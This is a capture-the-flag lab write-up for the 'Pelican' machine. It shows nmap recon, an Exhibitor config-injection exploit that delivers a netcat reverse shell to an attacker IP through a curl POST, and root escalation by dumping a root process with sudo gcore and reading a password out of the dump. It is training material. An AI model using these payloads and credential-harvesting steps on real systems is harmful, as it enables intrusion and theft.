Pelican_flow

Recon

TCP Scan

nmap -sCV -oN scans/tcp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP                                                                                       !5551
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 16:46 +08
Nmap scan report for 192.168.231.98 (192.168.231.98)
Host is up (0.0085s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp  open  ipp         CUPS 2.2
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
| http-methods:
|_  Potentially risky methods: PUT
2222/tcp open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open  http        Jetty 1.0
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(1.0)
8081/tcp open  http        nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.231.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m35s, median: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2026-06-20T04:46:27-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2026-06-20T08:46:28
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds

UDP Scan (Top 20)

sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP --open                                                             !5556
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 16:47 +08
Nmap scan report for 192.168.231.98 (192.168.231.98)
Host is up (0.012s latency).
Not shown: 12 closed udp ports (port-unreach)
PORT      STATE         SERVICE
69/udp    open|filtered tftp
123/udp   open|filtered ntp
162/udp   open|filtered snmptrap
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
631/udp   open|filtered ipp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 7.58 seconds

Service Enumeration

Web

Browse

http://192.168.178.98:8080/exhibitor/v1/ui/index.html

Googlefu

https://www.exploit-db.com/exploits/48654

The steps to exploit it from a web browser:

    Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON

    In the "java.env script" field, enter any command surrounded by $() or ``, for example, for a simple reverse shell:

    $(/bin/nc -e /bin/sh 10.0.0.64 4444 &)
    Click Commit > All At Once > OK
    The command may take up to a minute to execute.

It can also be performed with a single curl command:

command: curl -X POST -d @data.json http://10.0.0.200:8080/exhibitor/v1/config/set

data.json: { "zookeeperInstallDirectory": "/opt/zookeeper", "zookeeperDataDirectory": "/opt/zookeeper/snapshots", "zookeeperLogDirectory": "/opt/zookeeper/transactions", "logIndexDirectory": "/opt/zookeeper/transactions", "autoManageInstancesSettlingPeriodMs": "0", "autoManageInstancesFixedEnsembleSize": "0", "autoManageInstancesApplyAllAtOnce": "1", "observerThreshold": "0", "serversSpec": "1:exhibitor-demo", "javaEnvironment": "$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)", "log4jProperties": "", "clientPort": "2181", "connectPort": "2888", "electionPort": "3888", "checkMs": "30000", "cleanupPeriodMs": "300000", "cleanupMaxFiles": "20", "backupPeriodMs": "600000", "backupMaxStoreMs": "21600000", "autoManageInstances": "1", "zooCfgExtra": { "tickTime": "2000", "initLimit": "10", "syncLimit": "5", "quorumListenOnAllIPs": "true" }, "backupExtra": { "directory": "" }, "serverId": 1 }

Foothold

ExploitDB 48654

Command:

curl -X POST -d @data.json http://$IP:8080/exhibitor/v1/config/set

data.json:

{ "zookeeperInstallDirectory": "/opt/zookeeper", "zookeeperDataDirectory": "/opt/zookeeper/snapshots", "zookeeperLogDirectory": "/opt/zookeeper/transactions", "logIndexDirectory": "/opt/zookeeper/transactions", "autoManageInstancesSettlingPeriodMs": "0", "autoManageInstancesFixedEnsembleSize": "0", "autoManageInstancesApplyAllAtOnce": "1", "observerThreshold": "0", "serversSpec": "1:exhibitor-demo", "javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.45.232 4444 &)", "log4jProperties": "", "clientPort": "2181", "connectPort": "2888", "electionPort": "3888", "checkMs": "30000", "cleanupPeriodMs": "300000", "cleanupMaxFiles": "20", "backupPeriodMs": "600000", "backupMaxStoreMs": "21600000", "autoManageInstances": "1", "zooCfgExtra": { "tickTime": "2000", "initLimit": "10", "syncLimit": "5", "quorumListenOnAllIPs": "true" }, "backupExtra": { "directory": "" }, "serverId": 1 }

Shell

─$ nc -lvnp 4444
listening on [any] 4444 ...

connect to [192.168.45.232] from (UNKNOWN) [192.168.178.98] 57594
id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
hostname
pelican
python3 -c 'import pty;pty.spawn("/bin/bash")'
charles@pelican:/opt/zookeeper$ ^Z
zsh: suspended  nc -lvnp 4444

┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/Pelican]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 4444

charles@pelican:/opt/zookeeper$ export TERM=xterm
charles@pelican:/opt/zookeeper$

user flag

charles@pelican:/opt/zookeeper$ cd ~
charles@pelican:~$ ls -al
total 28
drwxr-xr-x 3 charles charles 4096 Sep 10  2020 .
drwxr-xr-x 3 root    root    4096 Sep 10  2020 ..
-rw-r--r-- 1 charles charles  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 charles charles 3526 Apr 18  2019 .bashrc
drwxr-xr-x 3 charles charles 4096 Sep 10  2020 .java
-rw-r--r-- 1 charles charles   33 Jun 22 09:53 local.txt
-rw-r--r-- 1 charles charles  807 Apr 18  2019 .profile
charles@pelican:~$ cat local.txt
342fad4b49411064ecf6922591d33a1c

Privilege Escalation

Low-Hanging Fruits

charles@pelican:~$ sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

/usr/bin/gcore:

Processes

charles@pelican:~$ ps -u root u
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.5 103972 10300 ?        Ss   09:50   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S    09:50   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   09:50   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   09:50   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   09:50   0:00 [kworker/0:0H-k
root         7  0.0  0.0      0     0 ?        I    09:50   0:00 [kworker/u2:0-e
root         8  0.0  0.0      0     0 ?        I<   09:50   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    09:50   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    09:50   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        I    09:50   0:00 [rcu_bh]
root        12  0.0  0.0      0     0 ?        S    09:50   0:00 [migration/0]
root        13  0.0  0.0      0     0 ?        I    09:50   0:00 [kworker/0:1-mm
root        14  0.0  0.0      0     0 ?        S    09:50   0:00 [cpuhp/0]
root        15  0.0  0.0      0     0 ?        S    09:50   0:00 [kdevtmpfs]
root        16  0.0  0.0      0     0 ?        I<   09:50   0:00 [netns]
root        17  0.0  0.0      0     0 ?        S    09:50   0:00 [kauditd]
root        18  0.0  0.0      0     0 ?        S    09:50   0:00 [khungtaskd]
root        19  0.0  0.0      0     0 ?        S    09:50   0:00 [oom_reaper]
root        20  0.0  0.0      0     0 ?        I<   09:50   0:00 [writeback]
root        21  0.0  0.0      0     0 ?        S    09:50   0:00 [kcompactd0]
root        22  0.0  0.0      0     0 ?        SN   09:50   0:00 [ksmd]
root        23  0.0  0.0      0     0 ?        SN   09:50   0:00 [khugepaged]
root        24  0.0  0.0      0     0 ?        I<   09:50   0:00 [crypto]
root        25  0.0  0.0      0     0 ?        I<   09:50   0:00 [kintegrityd]
root        26  0.0  0.0      0     0 ?        I<   09:50   0:00 [kblockd]
root        27  0.0  0.0      0     0 ?        I<   09:50   0:00 [edac-poller]
root        28  0.0  0.0      0     0 ?        I<   09:50   0:00 [devfreq_wq]
root        29  0.0  0.0      0     0 ?        S    09:50   0:00 [watchdogd]
root        30  0.0  0.0      0     0 ?        S    09:50   0:00 [kswapd0]
root        48  0.0  0.0      0     0 ?        I<   09:50   0:00 [kthrotld]
root        49  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/24-pciehp]
root        50  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/25-pciehp]
root        51  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/26-pciehp]
root        52  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/27-pciehp]
root        53  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/28-pciehp]
root        54  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/29-pciehp]
root        55  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/30-pciehp]
root        56  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/31-pciehp]
root        57  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/32-pciehp]
root        58  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/33-pciehp]
root        59  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/34-pciehp]
root        60  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/35-pciehp]
root        61  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/36-pciehp]
root        62  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/37-pciehp]
root        63  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/38-pciehp]
root        64  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/39-pciehp]
root        65  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/40-pciehp]
root        66  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/41-pciehp]
root        67  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/42-pciehp]
root        68  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/43-pciehp]
root        69  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/44-pciehp]
root        70  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/45-pciehp]
root        71  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/46-pciehp]
root        72  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/47-pciehp]
root        73  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/48-pciehp]
root        74  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/49-pciehp]
root        75  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/50-pciehp]
root        76  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/51-pciehp]
root        77  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/52-pciehp]
root        78  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/53-pciehp]
root        79  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/54-pciehp]
root        80  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/55-pciehp]
root        81  0.0  0.0      0     0 ?        I<   09:50   0:00 [kstrp]
root       124  0.0  0.0      0     0 ?        S    09:50   0:00 [scsi_eh_0]
root       126  0.0  0.0      0     0 ?        I<   09:50   0:00 [scsi_tmf_0]
root       128  0.0  0.0      0     0 ?        I<   09:50   0:00 [vmw_pvscsi_wq_
root       132  0.0  0.0      0     0 ?        I<   09:50   0:00 [ata_sff]
root       134  0.0  0.0      0     0 ?        S    09:50   0:00 [scsi_eh_1]
root       135  0.0  0.0      0     0 ?        I    09:50   0:00 [kworker/u2:2-e
root       136  0.0  0.0      0     0 ?        I<   09:50   0:00 [kworker/0:1H-k
root       138  0.0  0.0      0     0 ?        I<   09:50   0:00 [scsi_tmf_1]
root       140  0.0  0.0      0     0 ?        S    09:50   0:00 [scsi_eh_2]
root       141  0.0  0.0      0     0 ?        I<   09:50   0:00 [scsi_tmf_2]
root       147  0.0  0.0      0     0 ?        I<   09:50   0:00 [ttm_swap]
root       149  0.0  0.0      0     0 ?        S    09:50   0:00 [irq/16-vmwgfx]
root       220  0.0  0.0      0     0 ?        I<   09:50   0:00 [kworker/u3:0]
root       222  0.0  0.0      0     0 ?        S    09:50   0:00 [jbd2/sda1-8]
root       223  0.0  0.0      0     0 ?        I<   09:50   0:00 [ext4-rsv-conve
root       257  0.0  0.3  43104  8020 ?        Ss   09:50   0:00 /lib/systemd/sy
root       280  0.0  0.2  22476  5148 ?        Ss   09:50   0:00 /lib/systemd/sy
root       314  0.0  0.5  48220 10772 ?        Ss   09:50   0:00 /usr/bin/VGAuth
root       323  0.0  0.6 123176 12324 ?        Ssl  09:50   0:00 /usr/bin/vmtool
root       443  0.0  0.1   8504  2760 ?        Ss   09:50   0:00 /usr/sbin/cron
root       444  0.0  0.2 225824  4348 ?        Ssl  09:50   0:00 /usr/sbin/rsysl
root       455  0.0  0.2  19768  5232 ?        Ss   09:50   0:00 /sbin/wpa_suppl
root       457  0.0  0.4 318244  9736 ?        Ssl  09:50   0:00 /usr/sbin/Modem
root       465  0.0  0.5 398424 11796 ?        Ssl  09:50   0:00 /usr/lib/udisks
root       466  0.0  0.3  19528  7376 ?        Ss   09:50   0:00 /lib/systemd/sy
root       469  0.0  0.1   9468  2404 ?        S    09:50   0:00 /usr/sbin/CRON
root       487  0.0  0.0   2388  1608 ?        Ss   09:50   0:00 /bin/sh -c whil
root       512  0.0  0.3 235840  6660 ?        Ssl  09:50   0:00 /usr/lib/policy
root       513  0.0  0.0   2276    72 ?        Ss   09:50   0:00 /usr/bin/passwo
root       514  0.0  0.5 184976 11000 ?        Ssl  09:50   0:00 /usr/sbin/cups-
root       554  0.0  0.3 313364  7004 ?        Ssl  09:50   0:00 /usr/sbin/light
root       557  0.0  0.3  15852  6600 ?        Ss   09:50   0:00 /usr/sbin/sshd
root       581  0.0  0.0   5612  1712 tty1     Ss+  09:50   0:00 /sbin/agetty -o
root       582  0.0  2.2 224980 46204 tty7     Ssl+ 09:50   0:00 /usr/lib/xorg/X
root       584  0.0  0.0  69740  1704 ?        Ss   09:50   0:00 nginx: master p
root       636  0.0  0.4 102808  8268 ?        Ssl  09:50   0:00 /usr/sbin/cupsd
root       657  0.0  0.3 166792  7220 ?        Sl   09:50   0:00 lightdm --sessi
root       720  0.0  0.2  18748  5276 ?        S    09:50   0:00 lightdm --sessi
root      1322  0.0  1.0  50128 21128 ?        Ss   09:52   0:00 /usr/sbin/smbd
root      1324  0.0  0.2  46672  5932 ?        S    09:52   0:00 /usr/sbin/smbd
root      1325  0.0  0.2  46664  4252 ?        S    09:52   0:00 /usr/sbin/smbd
root      1327  0.0  0.3  50136  7136 ?        S    09:52   0:00 /usr/sbin/smbd
root      1670  0.0  0.7 258852 15612 ?        Ssl  09:53   0:00 /usr/sbin/Netwo
root     10690  0.0  0.0      0     0 ?        I    10:27   0:00 [kworker/0:0-at
root     11802  0.0  0.0      0     0 ?        I    10:32   0:00 [kworker/0:2-at
root     12235  0.0  0.0   5260   744 ?        S    10:34   0:00 sleep 1

gcore

root       513  0.0  0.0   2276    72 ?        Ss   09:50   0:00 /usr/bin/password-store
charles@pelican:~$ sudo /usr/bin/gcore 513
0x00007f971bd1c6f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffc3d7a2c80, remaining=remaining@entry=0x7ffc3d7a2c80) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28	../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.513
[Inferior 1 (process 513) detached]
charles@pelican:~$ ls -al
total 376
drwxr-xr-x 3 charles charles   4096 Jun 22 10:38 .
drwxr-xr-x 3 root    root      4096 Sep 10  2020 ..
-rw-r--r-- 1 charles charles    220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 charles charles   3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 root    root    354448 Jun 22 10:38 core.513
drwxr-xr-x 3 charles charles   4096 Sep 10  2020 .java
-rw-r--r-- 1 charles charles     33 Jun 22 09:53 local.txt
-rw-r--r-- 1 charles charles    807 Apr 18  2019 .profile

core.513 file:

charles@pelican:~$ strings core.513 > 513core.txt
CORE
password-store
/usr/bin/password-store
CORE
x,z=
CORE
/usr/bin/passwor
////////////////
LINUX
/usr/bin/passwor
////////////////
IGISCORE
CORE
ELIFCORE
/usr/bin/password-store
/usr/bin/password-store
/usr/lib/x86_64-linux-gnu/libc-2.28.so
/usr/lib/x86_64-linux-gnu/libc-2.28.so
/usr/lib/x86_64-linux-gnu/ld-2.28.so
/usr/lib/x86_64-linux-gnu/ld-2.28.so
fork failed!
/tmp
;*3$"
aliases
ethers
group
gshadow
hosts
initgroups
netgroup
networks
passwd
protocols
publickey
services
shadow
CAk[S
N?z=
E?z=
libc.so.6
/lib/x86_64-linux-gnu
libc.so.6
P-z=
;*3$"
P.z=
sse2
x86_64
avx512_1
i586
i686
haswell
xeon_phi
linux-vdso.so.1
tls/x86_64/x86_64/tls/x86_64/
/lib/x86_64-linux-gnu/libc.so.6
P z=
8!z=
P z=
P z=
p&z=
p&z=
p&z=
@&z=
h'z=
0+z=
 +z=
 +z=
@(z=
(+z=
/usr/bin/passwor
////////////////
/usr/bin/passwor
////////////////
////////////////
`,z=
@-z=
@-z=
 -z=
001 Password: root:
ClogKingpinInning731
E?z=
]?z=
h?z=
u?z=
x86_64
/usr/bin/password-store
HOME=/root
LOGNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/root
/usr/bin/password-store
bemX
__vdso_clock_gettime
__vdso_gettimeofday
__vdso_time
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Linux
Linux
4.19.0-10-amd64
AVAUATSH
[A\A]A^]
D9+u
[A\A]A^]
D9#u
H+=x
H#=y
H+=K
H#=L
AVAUATI
[A\A]A^]
GCC: (Debian 8.3.0-6) 8.3.0
.shstrtab
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_d
.dynamic
.rodata
.note
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
.shstrtab
note0
load

root password

charles@pelican:~$ grep -A3 -B3 root 513core.txt
@-z=
@-z=
 -z=
001 Password: root:
ClogKingpinInning731
E?z=
]?z=
--
u?z=
x86_64
/usr/bin/password-store
HOME=/root
LOGNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/root
/usr/bin/password-store
bemX
__vdso_clock_gettime

ClogKingpinInning731 - possible #password

root flag

charles@pelican:~$ su -
Password:
root@pelican:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pelican:~# whoami && hostname && cat proof.txt
root
pelican
6f62451949763443a8074ae090ca98eb